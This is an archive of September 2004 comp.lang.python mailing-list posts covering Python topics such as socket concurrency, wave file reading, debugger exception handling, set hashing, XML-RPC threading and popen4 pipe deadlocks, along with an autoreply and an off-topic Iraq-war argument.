Architectural Principles of the Internet - section 3.9 From claird at lairds.us Thu Sep 16 08:08:04 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 16 Sep 2004 12:08:04 GMT Subject: socket function that loops AND returns something References: Message-ID: In article , Bryan Olson wrote: . . . >I'd classify the ways to do it somewhat differently than the >other responses: > > -Start multiple lines of execution > - using threads > - using processes (which, in Python, is less portable) > > -Wait for action on multiple sockets within a single thread > - using os.select > - using some less-portable asynchronous I/O facility > >Those are the low-level choices. Higher level facilities, such >as Asyncore and Twisted, are themselves based on one or more of >those. > >Different servers have different needs, but when in doubt use >threads. Threading on the popular operating systems has >improved vastly in the last several years. Running a thousand >simultaneous threads is perfectly reasonable. Programmers using >threads have to be aware of things like race conditions, but >when threads are handling separate connections, most of their >operations are independent of other threads. . . . Are you advising Python programmers to use only thread-based approaches, and to judge Asyncore and Twisted on that basis? Do you intend that readers believe that it "is perfectly reasonable" to design in terms of a single Python process which manages up to "a thousand simultaneous *Python* threads"? From lbates at swamisoft.com Wed Sep 22 13:04:05 2004 From: lbates at swamisoft.com (Larry Bates) Date: Wed, 22 Sep 2004 12:04:05 -0500 Subject: for_some(), for_all()? References: Message-ID: Use list comprehension and then test for what you want: for_some result=[x for x in lst if ] if result: # # At least some of the items passed the test # else: # # None passed # for_all result=[x for x in lst if ] if len(result) == len(lst): # # All items passed the test # else: # # At least one didn't pass # I think it is easier to read and maintain. Larry Bates "aurora" wrote in message news:opseqmpvg86yt6e7 at news.cisco.com... >I am trying to test a list to see if some or all elements pass a test. For >example I can use reduce() to test if any element is 0. > >>>> lst = [1,2,0,3] >>>> test = lambda x: x == 0 >>>> reduce(operator.__or__,[test(x) for x in lst]) > True > > However I bet reduce() does not exploit the short circuit logic. Also it > is a little clumsy to create another list to pass into reduce. Is there > some equivalent of > > for_some(test, lst) > or > for_all(test, lst)? > > From andrea.valle at unito.it Fri Sep 24 19:20:25 2004 From: andrea.valle at unito.it (andrea valle) Date: Sat, 25 Sep 2004 01:20:25 +0200 Subject: wave.readframes() (or conversion?) Message-ID: <50702DF9-0E80-11D9-871D-0003939C968C@unito.it> Hi to all, I'm using wave module with success. I'm writing data to wave file. Typically I create a list of values (data) and pass it to .writeframes(data) methods. a = wave.open("/test.wav", "w") a.writeframes([32000, 0]) This sets the first sample to 32000 and the 2nd to 0 But when I use the .readframes() method I don't know exactly what values I extract from the open wave. >>> a = wave.open("/test.wav", "r") >>> a.readframes(1) '\x00\x00' What does it mean? (hexa?) How do I convert it to an integer? I'd like to have it like 32000 or 0, so to make some maths on it. Thanks a lot -a- Andrea Valle Laboratorio multimediale "G. Quazza" Facolt? di Scienze della Formazione Universit? degli Studi di Torino andrea.valle at unito.it From jerf at jerf.org Mon Sep 27 23:41:43 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 28 Sep 2004 03:41:43 GMT Subject: finding time when url was modified References: <5r36d.524$gk.491@okepread01> Message-ID: On Tue, 28 Sep 2004 12:57:45 +1000, Ajay wrote: > thanks > it was mostly out of curiousity. I have an interchange where the servers > would send a policy and request a resource. the other server would > evaluate the policy and respond accordingly. I would recommend going a little more deeply into the HTTP standards, and then examining what the capabilities of your servers are. I have no experience with mobile devices. In particular, take a look at the E-Tags field; if you have support for it, that will pretty much do exactly what you want with nearly no work on your part if I am reading your requirements correctly; all you have to do is catch the HTTP result code and do the right thing with it. A shocking number of people re-implement large chunks of HTTP in the HTML, which is painful and often ineffective. HTTP is pretty cool, if you use it to the full and not just as a glorified file, ignoring the headers. From aleaxit at yahoo.com Sun Sep 5 12:41:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 18:41:03 +0200 Subject: Question: tools for business apps development References: Message-ID: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> Carlos Ribeiro wrote: > Hello all. > > I'm in the process of writing a business app in Python. (defining > business app: data entry, validation, interactive reports, etc). For > my purposes, it must be a native app (wxWidgets, GTK or Qt-based). A OK, but, native to WHAT platform...? Later you mention it must be all done with free tools... Qt on Windows isn't. QtDesigner is good, but Qt only free for (free-software dev't on) Unix/Linux and Mac, not for (any kind of dev't on) Windows. Alex From darren at coolpink.net Tue Sep 28 22:06:11 2004 From: darren at coolpink.net (darren at coolpink.net) Date: 29 Sep 2004 02:06:11 -0000 Subject: Middleware'04 early registration extended Message-ID: <20040929020611.4589.qmail@ws2.coolpink.net> Sorry, but I am out of the office on Monday 27th September until Monday 11th October 2004. I will respond to your e-mail when I return If you need technical support please contact simonh at coolpink.net or mazen at coolpink.net For any other enquiries please call the office on (0113) 272 3191 Thanks for your e-mail. From paul at subsignal.org Sun Sep 12 18:35:14 2004 From: paul at subsignal.org (paul koelle) Date: Mon, 13 Sep 2004 00:35:14 +0200 Subject: unittest issues Message-ID: <2qk198F10v228U1@uni-berlin.de> Hi, I try to use the "failUnlessRaises()" method from unittest.TestCase as follows: >>self.failUnlessRaises(IntegrityError, myObject.new(**stuff)) where IntegrityError is an Exception somewhere deep inside pysqlite. Running it spits out: >>NameError: global name 'IntegrityError' is not defined. Do I really need to tell unittest about each and every possible Exception it might catch. Whats going on here? python 2.2.3 on linux 2.6.7 thanks Paul From hans at zephyrfalcon.org Thu Sep 23 09:32:11 2004 From: hans at zephyrfalcon.org (Hans Nowak) Date: Thu, 23 Sep 2004 09:32:11 -0400 Subject: up with PyGUI! In-Reply-To: <2rfnp6F19gkpkU1@uni-berlin.de> References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> Message-ID: <4152D05B.9020909@zephyrfalcon.org> anton muhin wrote: > I beg your pardon for possibly stupid comment---I haven't practice GUI > programming for a long time, especially in Python. However I mostly > prefer declarative approach for the problems like that. Therefore, > wouldn't it be interesting to describe the structure with class and > metaclass mechanism, like: > > class MainFrame(FrameDescription): > > class b1(ButtonDescription): > size = (40, 40) > text = "b1" > > etc. > > with the best regards, > anton. Yes. But not in Wax. :-) The way Wax works is pretty much set in stone, and although there is room for many improvements and shortcuts (passing layout in constructor, auto-packing, etc), I'm not going to rewrite it so it supports the above. It's meant as a friendly layer on top of wxPython; as such, I want it to stay rather close to wxPython, so I'm less interested in writing an innovative API. Aside from that, I'm not sure if the construct described above is all that great... it makes nested classes significant, and uses class attributes to describe an instance (unless b1 is meant as a template for other buttons). It also requires a bunch of magic "under the hood". I'd rather use less surprising constructs. But that's just a matter of opinion; YMMV. Cheers, -- Hans Nowak (hans at zephyrfalcon.org) http://zephyrfalcon.org/ From michele.simionato at gmail.com Wed Sep 22 23:23:13 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 22 Sep 2004 20:23:13 -0700 Subject: python vs c# References: <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> <41513aac$0$285$edfadb0f@dread12.news.tele.dk> <1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com> Message-ID: <4edc17eb.0409221923.5c834fc8@posting.google.com> aleaxit at yahoo.com (Alex Martelli) wrote in message news:<1gkih9r.pfgqukvpt1rcN%aleaxit at yahoo.com>... > Max M wrote: > > > self-educating system would be of a big help. A system where > > introspection was well supported. > > I've never used any language with better introspection facilities than > Python, not even Lisp. Well Alex, you are talking about Python and you are right. But Max M. is talking about Zope, and he also is right. There is a serious problem in introspecting Zope. Everything is a wrapper around something and usual Python introspection facilities give you no useful information. Zope (I am talking about Zope 2) is the most unpythonic framework I have ever seen :-( Michele Simionato From db3l at fitlinxx.com Tue Sep 28 15:09:20 2004 From: db3l at fitlinxx.com (David Bolen) Date: 28 Sep 2004 15:09:20 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <41542230.3070808@bellsouth.net> <4157FD67.80404@holdenweb.com> Message-ID: "Dan Perl" writes: > I'm new to wxPython so I cannot relate yet to what you are saying. The > wxPython extension module may catch the exceptions and suppress them, but > doesn't it generate a message for that or something? I hope that they are > not hiding the exception completely (and that they generate something) and > then you can still debug the problem with well placed breakpoints. Am I > wrong here or is there something I'm missing? Yes, the wxPython layer will generally output an exception, but only if there's a console available to receive it. Even if you do have a console showing exceptions, not all exceptions are cleanly reproduceable or predictable. I may have code that typically runs just great, but that occasionally generates an exception. Breakpoints may not work if the code runs many times successfully before failing (due to varieties in calling parameters at runtime). Perhaps a watchpoint might work but you'd have to know enough about the failure to establish the watchpoint parameters. Instead, with Wing, just start it up, let it run (or if you need to, run it independently of Wing but with the stub loaded) until the exception occurs. No hassles or up front work. > The false positive that I encountered was indeed in 'sre', invoked by > pickle. I think it was an IndexError which should be a normal thing if they > are using it to stop at the end of an iteration. So I'm not convinced this > would constitute "minimal" false positives. Did you get any others? I was talking "minimal" in terms of volume, not necessarily significance (which may be more subjective). I didn't have much of an issue choosing to ignore the sre case (after which it never showed up again for my project). > Maybe if I would have been convinced first with a personal experience about > the advantages of Wing's exception detection at the point of raise, then I > would have accepted the false positives more easily. But seeing the false > exception first (actually right away and with positive spins on it) and then > finding out the right technical explanation later, it made it much harder to > swallow. That could well be. When I was testing Wing originally being able to effectively work with legacy wxPython apps was a high priority for me, both in terms of the auto-completion and in terms of exception handling (the latter of which I had been disappointed to find not working in other IDEs I had tried to that point). So I was probably predisposed to not worry too much about the side-effects of functionality that at least got me the exception processing I wanted. (...) > I would need to first see an example of generating an exception without > knowing it and that exception still being relevant although it is being > handled. I'd split that into two parts - (a) generating the exception without knowing it, and (b) it being relevant even if handled. For (a), I can't seem to come up with a good concise example, so maybe I'll just agree that you may know about, but not be able to act on it in a useful fashion. (The cases I was thinking of were GUI apps without a console, or apps generating output where a traceback might be missed, but I can come up with reasonable solutions in those cases if you knew you were looking for an exception, so I'm willing to bet you can too. The other case was with a locally developed extension, but that's susceptible to the argument of just fixing the local extension :-)) Note however, that knowing about it in many cases may only be through a stderr traceback, so to know it other than manually inspecting it at runtime would require trapping stderr in general and logging that somewhere, and then having something to recognize tracebacks in that log. (b) is certainly possible though, although at the risk of overuse I'll fall back to wxPython again. In wxPython any exception that occurs in an event handler will be handled by the wxPython extension, and is thus invisible to top level code. So if you have an exception in an event handler, it interrupts the exception handler, which presumably no longer does what it is supposed to, so that's relevant. The exception will not, however, stop the application, nor bubble up to any top level application exception handler. The only place you'd see an indication of it would be in the traceback to stderr - your application has no opportunity to handle it otherwise (unless you have exception handlers in each individual event handler). Now in normal operation that's actually a very attractive part of wxPython. By and large you can create problems, and the application keeps running. Perhaps one element of the GUI might not react properly or some button won't work, but the application survives. But when trying to troubleshoot that problem, it's often most convenient to interact with the application as a user until the problem occurs, letting the debugger simply catch things at the point when it happens. > I can imagine something not working right and an exception being > one more indication for the problem, but then there are still other good > ways to debug the problem. I'd certainly agree with that. As with everything, the debugger is just one element in the toolkit. But even if you have an exception being generated, there is real value to being able to stop and dynamically inspect the state of the system at the point of exception, particularly when an exception is sporadic or difficult to reproduce. Having other methods to also debug it doesn't negate the value of having a debugger that can run an application until such an event takes place and then give you direct access to the state of the system at that point. > And if things are working, I don't see how > hidden exceptions may be of interest. I have very little experience with > GUIs but I realize that unit testing is much more difficult for GUIs. Does > that make it necessary to "hunt for exceptions" like that instead of testing > for results correctness? It may also be just my short experience with > Python and especially my total lack of experience with complex systems in > Python (e.g, Zope), so I'm ready to listen to an argument on that point. I definitely have multiple categories of code. New projects that can make use of TDD approaches do so and have far less of a requirement (IMO so far) of debuggers in general. They're generally also more amenable to "print" debugging since issues arise that tend to be more focused, and occurring in well identified areas of the code under well identified conditions. Older projects not written in a TDD fashion, or those for which unit testing is difficult (in my environment typically GUI, threading, and network in some mixture) often run into scenarios where you need a lengthy runtime or real world usage to tickle sporadic or non-deterministic bugs. In those cases, a solid debugger with the ability to stop at any moment when a problem arises can be worth its weight in gold - even if such occurrances may be few and far between. I believe Alex Martelli recently posted about such a case in a web application, for example, where a debugger ended up very useful in addition to the other techniques being applied. -- David From aleaxit at yahoo.com Thu Sep 9 09:42:07 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 15:42:07 +0200 Subject: Set and {} comparison confusion References: Message-ID: <1gjuqd2.tjf7v31d0ulpnN%aleaxit@yahoo.com> Roman Yakovenko wrote: ... > I don't agree with you. I can compare properties of some object. > For example I can compare cows: > one python is longer then other ( length ) > one python is heavier then other ( weight ) > one python is older then other ( age ) > > But I can't define meaningful operator "<" on pythons. > I can compare pythons only property by property. I don't thing > that next code is meaningful > > def __lt__( self, other_python ): > return self.length < other_python.length \ > and self.weight < other_python.weight \ > and self.age < other_python.age > > I see this code as meaningless on python's. Of course it's meaningless, it cannot entirely respect the properties which I gave and you asserted you fully understand, no matter how you define the companion ==. Consider three Pythons, ignore age for simplicity without loss of generality, represent them only by (L, W) pairs: a=(4,20) b=(5,30) c=(6,10). Now a < b by this definition. However neither ac so b==c. But then by transitivity of == it must be a==b which conflicts with the already esablished a > Ah, isn't set documented to need hashable elements? It should be. Of > > course, _why_ your class appears to be hashable when it defines __eq__ > > and not __hash__ I dunno -- Python should diagnose that, but it does't > > appear to... > > It is my fault too. All my classes derives from object. object do implements __hash__ > function. I think I should raise exception if somebody tries to insert object into > set \ dictionary I thought it did, if the object defines __eq__ and doesn't redefine _hash__. I'll look into what's going on... Alex From gregm-news at toadmail.com Tue Sep 14 08:53:56 2004 From: gregm-news at toadmail.com (Greg Menke) Date: 14 Sep 2004 08:53:56 -0400 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <4146dc2f$0$2665$61fed72c@news.rcn.com> Message-ID: jmfbahciv at aol.com writes: > In article , > Greg Menke wrote: > >Chuck Dillon writes: > > > >> Antony Sequeira wrote: > >> > >> > Chuck Dillon wrote: > >> > How is that related to Saqqddam Hussqqqqqain being a jackass and us > >> > spending 100 or whatever billions on removing him and having 1000+ > >> > of Americans + unknown number of Iraqqqqqis getting killed. How does > >> > that help avoid > >> > 9 qqqq 11 or are you confused between Iraqqqqqis and Saudqqqqis ? > >> > >> If you reread the post that you responded to you will see it has > >> nothing to do with Iraq. > >> > >> However, to answer your question: How does regime change in Iraq help > >> avoid another 9/11... > >> 1) It removes one of the states that might consider sponsing > >> such a future attach. > > > >Wouldn't it have made more sense to invade Saudi Arabia? > > No. It would have been the stupidest thing to do. Invasion > of Islam's holiest place would have ensure that this mess > turned into a 100% religious war. They're pretty convinced of that already- after all Dubya called this a crusade from day 1. I thought this war was about threats, not superstition. You wingers keep changing it around. In what way would invading and occupying a country that supplies, trains, funds the terrorists who performed 9/11 be the supidest thing? Isn't the stupidest thing really invading a country that neither trained nor harbored 9/11 terrorists or even had much of any weapons suitable for attacking a neighbor country? If we invaded Iraq simply because its , and then back off from laying waste to whatever we want whenever we want inside the country, then we're not really sending a convincing message are we? And then, if we choose to get tough and carpet bomb any city with insurgent activity, then we become the evil country that we're accused of being. This is one of the faces of quagmire & we're stuck in it. Kicking around the weak kids does not impress another bully enough to leave you alone, you have to beat him up. We started doing so in Afganistan, then blew it in Iraq. > > .. Thats where > >the terrorist money and terrorist leadership is from. > > IIRC, Hitler came from Austria. So we should have only > invaded Austria to gain control of Africa and Europe? But Hitler was a real threat to his neighbors and was occupying other countries. Saddam could hardly feed his own troops much less invade anybody. 10 years ago was different, I'm not vastly fond of Dubya Sr., but I think he did the right things in Iraq; he was a better president than his son in all respects. > > .. Iraq is chump > >change on that account- > > It's an ideal place. It's located right in the middle of > all potential trouble makers; its people are more educated > than the other countries' populations so getting them > self-supporting doesn't need a cold start. The country > was already an enemy who had violated terms of cease fire > over and over and over and over and over and over ... > again. Are you really advocating that we invade, depose, occupy, torture and kill all for foreign policy convience? And what in the world makes you think the Iraqi economy is going to be self-sufficient anytime in the next 5 years? Their economy was a top to bottom disaster, a new one isn't "started", its grown. You'll be happy pumping untold billions of dollars into their economy over there as long as you don't have to pay for it with taxes over here. GOP fantasy-land. The "violations" of the cease-fire were the equivalent of kids throwing rocks at passing airplanes. Big deal. Saddam's luck was going to run out at some point- and keeping the lid on him was VASTLY cheaper than taking over his country. Well, you've gotten your legally entitled revenge- I hope you like it. > > .. heck, even Iran or Syria would've made a much > >better target on this basis. Or are we such bullies that we'll pick > >the weakest kid to beat up to show how strong we are? > > Yes. It's a good plan and the cheapest. So you're feeling pretty good about the bodycount these days. How many dead US soldiers and Iraqiis will slake your bloodlust? I will look forward to your spirited defense of any country in the world invading another simply because they can & feel like it. Gregm From skip at pobox.com Tue Sep 28 14:25:13 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 28 Sep 2004 13:25:13 -0500 Subject: SimpleXMLRPCServer In-Reply-To: <4158A28B.3050501@bellsouth.net> References: <4158A28B.3050501@bellsouth.net> Message-ID: <16729.44169.386322.909178@montanaro.dyndns.org> Jeremy> ... the out-of-the-box SimpleXMLRPCServer will only handle one Jeremy> request at a time... It does not spawn a thread per request. Nor should it. Enabling threading in an application should be an active step taken by the programmer, not a passive step taken as a side effect of using a particular class that doesn't mention threading. The simplest part of making a server threaded is mixing in SocketServer.ThreadingMixin. Far more work needs to be done to make it robust. Now, should the SimpleXMLRPCServer module provide a threaded version? Perhaps. The default should be non-threaded however. Skip From mwh at python.net Thu Sep 2 12:21:10 2004 From: mwh at python.net (Michael Hudson) Date: Thu, 2 Sep 2004 16:21:10 GMT Subject: read lines without the line break character at the end? References: Message-ID: "Wai Yip Tung" writes: > When I do > > for line in fp: > > the line string usually has a '\n' at the end. In many cases I don't > want the line break character. I can trim it using > > if line.endswith('\n'): line = line[:-1] > > Given I do it so frequently I wonder if there is some builtin way to > say I don't wnt the line break character? No. line.rstrip('\n') is a shorter way of trimming the newline character, though. I guess adding def without_newlines(thing): for line in thing: yield line.rstrip('\n') to your snippet collection will do. Cheers, mwh -- Famous remarks are very seldom quoted correctly. -- Simeon Strunsky From evenprimes at gmail.com Thu Sep 9 14:53:04 2004 From: evenprimes at gmail.com (Chris Cioffi) Date: Thu, 9 Sep 2004 14:53:04 -0400 Subject: Is except: ... pass bad style? In-Reply-To: References: Message-ID: I think that the getattr option would be your best/cleanest option. For best results, combine with the Null object pattern. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/68205 getattr(myobj, 'method', Null)() Clean, concise, and clear. Just like most of the rest of Python. ;-) Chris On Thu, 09 Sep 2004 12:56:55 -0500, marduk wrote: > > Based on all the responses received thus far, I thought of a way of > doing it without an exception: > > myobj.__dict__.get('method', lambda : None)() > > Which is okay if you don't care about the return value of the > method (in my examples I'm assuming .method() just does something > (and returns None). But it's a lot uglier I think than the try/except > block. > > ----== Posted via Newsfeed.Com - Unlimited-Uncensored-Secure Usenet News==---- > http://www.newsfeed.com The #1 Newsgroup Service in the World! >100,000 Newsgroups > ---= 19 East/West-Coast Specialized Servers - Total Privacy via Encryption =--- > > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Still searching for an even prime > 2! From jmlai at uci.edu Fri Sep 10 09:45:10 2004 From: jmlai at uci.edu (Jason Lai) Date: Fri, 10 Sep 2004 06:45:10 -0700 Subject: Electronic voting feasibility In-Reply-To: References: <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> Message-ID: Istvan Albert wrote: > Jaime Wyant wrote: > >> I think the negativity is well founded. http://www.blackboxvoting.org/ > > > I was referring to the real voting not the real-electronic voting. > > I can't judge whether this site speaks the truths or not but > their tone and style is very aggressive, steamrolling and > manipulative. Read a few sites that argue that the world > is flat or smoking is good for your health. > > Istvan. Well, they certainly have an agenda. I wouldn't say particularly manipulative though, especially compared to any sort of politician. And I think you'll find a lot more support for this particular site than for the Flat Earth Society. There are definitely issues with electronic voting, regardless of whether that site's contents and claims are true, and right now in the U.S. many of them are political rather than technological. - Jason From bhoel at web.de Sat Sep 25 18:07:53 2004 From: bhoel at web.de (Berthold Höllmann) Date: Sun, 26 Sep 2004 00:07:53 +0200 Subject: f2py error - windows xp (F2PY-2.43.239_1806) References: Message-ID: "M. Faust" writes: > Hi, > > after having installed F2PY-2.43.239_1806 I get the following error > when trying to run the hello.f example from the /docs directory: > > f2py.py --fcompiler=compaqv -c -m hello hello.f ... > error C2039: 'weakreflist' : is not a member of 'PyArrayObject' ... > I'm on Windows XP with Python 2.3.4. Has anybody an idea what's going > wrong? Thanks in advance! It seems the latest f2py versions need NumPy 23.3 which ?ntroduces 'weakreflist' in the 'PyArrayObject' struct. Regards Berthold -- bhoel at web.de / http://starship.python.net/crew/bhoel/ From fumanchu at amor.org Fri Sep 17 03:14:29 2004 From: fumanchu at amor.org (Robert Brewer) Date: Fri, 17 Sep 2004 00:14:29 -0700 Subject: Recursive function not returning value Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EEA@exchange.hqamor.amorhq.net> Derek Rhodes wrote: > OK, I have a recursive function that should return a list, but doesn't > > > 1> def test(word): 2> if type(word) == str: 3> print "it's a word" 4> test([word]) 5> 6> if type(word) == list: 7> print "The conditional worked, see ->", word 8> return word 9> 10> >>>a = test('foobity') > it's a word > The conditional worked, see -> ['foobity'] > >>> print a > None > > > > What am I missing? I numbered your lines above so I could describe what's going on. You call test() twice, once from the prompt (line 10), and again inside test itself (line4). The problem is that only one of those calls gets an explicit return value, when "test([word])" on line 4 is called, it receives the list as you expect. But then that value is not returned out of the first call; in fact, there is no return value for that call, and therefore "None" is returned. The solution: def test(word): if type(word) == str: print "it's a word" return test([word]) # Added a return here if type(word) == list: print "The conditional worked, see ->", word return word Robert Brewer MIS Amor Ministries fumanchu at amor.org From h.b.furuseth at usit.uio.no Thu Sep 2 13:26:40 2004 From: h.b.furuseth at usit.uio.no (Hallvard B Furuseth) Date: 02 Sep 2004 19:26:40 +0200 Subject: string.maketrans().lower() References: <41353DE0.1D7D5AC5@alcyone.com> Message-ID: Erik Max Francis wrote: >Hallvard B Furuseth wrote: >> I have a translation table from >> tr = string.maketrans(...) >> and want a table which produces the same characters lowercased. >> >> `tr.lower()' works - at least with Python 2.3 - but is that will >> that remain reliable? Or should I use something like this? >> >> string.maketrans("".join(map(chr, xrange(256))), >> "".join(map(chr, xrange(256))).translate(tr).lower()) > > Sure. The return value of string.maketrans is just itself a string, > after all. Thanks. >> BTW, is there a simpler way to write "".join(map(chr, xrange(256)))? > > You could use a list comprehension if you prefer. map() looks clearer to me in this case. -- Hallvard From max at alcyone.com Wed Sep 1 18:28:36 2004 From: max at alcyone.com (Erik Max Francis) Date: Wed, 01 Sep 2004 15:28:36 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: 35.python-list@python.org> <1093794853.349452@news.commspeed.net> <41357372.E263DE37@alcyone.com> <8548c5f3.0409010533.1fed5008@posting.google.com> <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> Message-ID: <41364D14.3FF3E19E@alcyone.com> Peter Kleiweg wrote: > pycs.org doesn't seem to exist. Perhaps that's a blessing in disguise? -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ Can I walk with you / 'Till the day that my heart stops beating -- India Arie From etos at online.no Sun Sep 19 15:59:21 2004 From: etos at online.no (Stian) Date: 19 Sep 2004 12:59:21 -0700 Subject: Formatting numbers with leading zeros Message-ID: <71f6c60f.0409191159.5f9040bb@posting.google.com> Hi, I'm sort of new to Python and I've just discovered the amazing formatting using the % operator. One thing I can't figure out is how to format numbers so that they get leading zeros, for example I want the output 1x01 instead of 1x1 (used in naming my avi files of shows). I've used this so far: print '%sx%s'%(season,episode) which gives the output 1x1, but I want 1x01 =p Any way to format it using the % method? From carribeiro at gmail.com Fri Sep 24 10:19:48 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 11:19:48 -0300 Subject: Call for suggestions: Declaring data entry forms using Python classes In-Reply-To: References: Message-ID: <864d3709040924071944f236a3@mail.gmail.com> On Fri, 24 Sep 2004 01:30:33 GMT, Paul Paterson wrote: > By a strange coincidence, this intermediate representation is eerily > similar to the one used in vb2py when converting Visual Basic forms to > Python ones (implemented in PythonCard). I don't think it is a coincidence; I think that's because this is the natural way to represent this structure in Python. If you look at the way Delphi forms are stored when you choose text format (the default for newer versions), it's strikingly similar -- just change "class" for "object". I assume VB internals are structured in the same way. > The intermediate representation looks like, > > [...long sample...] I think that my current code can be easily adapted for your needs. I'm now working on a generic renderer interface. I'm figuring out how to make it general enough but still simple to sue. The current implementation is already able to walk the class attributes in the order of the original declaration, which is important to preserve some behavior (specially the implicit tab ordering that is normally used in GUI design). As for your last question: yes, it's open source, I just haven't yet figured out which license to choose from -- either BSD or LGPL, I think. Part of the problem is that I don't have a nice host to put it for download yet. I this point BSD would be nice -- it's too little code to make a fusss about it being used inside some other product -- but if the library gets bigger I tend to go towards LGPL. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From fredrik at pythonware.com Tue Sep 7 11:47:57 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 7 Sep 2004 17:47:57 +0200 Subject: python from Java References: <1094551272.413d86e88ab2a@www-mail.usyd.edu.au> Message-ID: "Ajay" wrote: >> ElementTree >> http://effbot.org/downloads/#elementtree > > okay i tried the above approaches but no luck. See the problem is an XML > parser which works on a PDA - pythonce. Now elementtree uses pyexpat > (which pythonce doesn't have) that's why ElementTree ships with several alternative tree builders; from the README: SimpleXMLTreeBuilder.py Old element tree builder for XML, based on xmllib, for Python versions where "expat" is not available usage: from elementtree import ElementTree, SimpleXMLTreeBuilder tree = ElementTree.parse( source, SimpleXMLTreeBuilder.TreeBuilder() ) note that xmllib has problems with namespaces on some versions of Python; see the elementtree README for details. From http Fri Sep 24 19:42:41 2004 From: http (Paul Rubin) Date: 24 Sep 2004 16:42:41 -0700 Subject: Why not FP for Money? References: <1gkn9l9.17bto0f1abuxr0N%aleaxit@yahoo.com> Message-ID: <7xoejvutce.fsf@ruckus.brouhaha.com> aleaxit at yahoo.com (Alex Martelli) writes: > You're probably right, but it will be nice to be able to point the > querants to module decimal. Backwards incompatible changes, such as > taking a literal of 1.1 to mean a decimal rather than a float, are not > in the cards until Python 3.0 time That kind of change (without a top-of-file declaration like "import __decimal__") sounds a bit extreme even for 3.0. However, adding a backwards-compatible syntax ("a = 1.1d"), or a declaration to read all literals like 1.1 as decimal, seems ok to consider. From sam at rinkworks.com Fri Sep 17 18:21:28 2004 From: sam at rinkworks.com (rinkworks) Date: Fri, 17 Sep 2004 18:21:28 -0400 Subject: popen4 hanging on write Message-ID: <191262adf5b4ad1fb774c45d66fabebc@localhost.talkaboutprogramming.com> I'm having trouble with Popen4 locking up on me. It appears to be unrelated to the actual command I'm running, because I made the command just "cat" (I'm on UNIX) to echo whatever input I sent it, and it's still locking. The trick is, it works for small amounts of data. After roughly 1.5K of input, it locks up and will not write any more data to the pipe. I assume a buffer got full somewhere, and it's blocking the write call. Meanwhile, I can't read the output, because if I do that, that blocks, too. Anybody know how to resolve this problem? Here is my current code: import popen2 pipe = popen2.Popen4("cat") pipe.tochild.write(data) pipe.tochild.close() output = pipe.fromchild.read() print output Again, when data is just a few lines, it works, but not if it's maybe 1500 bytes or more. No documentation I can find addresses this problem; the above is theoretically supposed to just work. I don't get it. Thanks for any help anyone can give me. From lbates at syscononline.com Tue Sep 28 16:26:26 2004 From: lbates at syscononline.com (Larry Bates) Date: Tue, 28 Sep 2004 15:26:26 -0500 Subject: annoying behavior In-Reply-To: <9418be08.0409280856.9368ddf@posting.google.com> References: <9418be08.0409280856.9368ddf@posting.google.com> Message-ID: Elbert Lev wrote: > # here is the problem I ran into: > > class foo: > def __init__(self, host): > self.f() > self.r = True > > def f(self): > if self.r: > # > pass > else: > # > pass > > f = foo("1234") > > #here is the output: > > #Traceback (most recent call last): > # File "G:\MyProjects\Python\Little\inconv.py", line 16, in ? > # f = foo("1234") > # File "G:\MyProjects\Python\Little\inconv.py", line 5, in __init__ > # self.f() > # File "G:\MyProjects\Python\Little\inconv.py", line 9, in f > # if self.r: > #AttributeError: foo instance has no attribute 'r' > > # I understand why does this happen, but, to tell the truth, > # this feature is very annoying. > # Are there any plans to relax this restriction? > # In 3.0 :)? Just put the lines in the correct order: class foo: def __init__(self, host): self.r = True self.f() def f(self): if self.r: # pass else: # pass f = foo("1234") You can't ask if self.r is True (which is what you do in the second line of the f() method) before it actually exists. Larry Bates Syscon, Inc. From deetsNOSPAM at web.de Thu Sep 16 06:47:16 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Thu, 16 Sep 2004 12:47:16 +0200 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> <20040915212023.23b6fe0b@gypsy.pfortin.com> Message-ID: Pierre Fortin wrote: > On Wed, 15 Sep 2004 22:58:26 GMT Raymond wrote: > >> [Pierre Fortin] >> > > I'm just looking to make my code more readable and >> > > self-documenting... >> . . . >> > > osstat = todict(os.stat("%s" % path), >> > > "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctim >> > > e") >> >> [Diez B. Roggisch] >> > Use >> > >> > dict(zip(["mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime"], >> > os.stat("%s" % path))) > > What does zip() have to do with this situation...? Uhm - its needed? It creates a list of pairs from the two argument lists, and dict() takes a list of pairs of (key, value) to form a dictionary. -- Regards, Diez B. Roggisch From steven.bethard at gmail.com Thu Sep 30 00:05:37 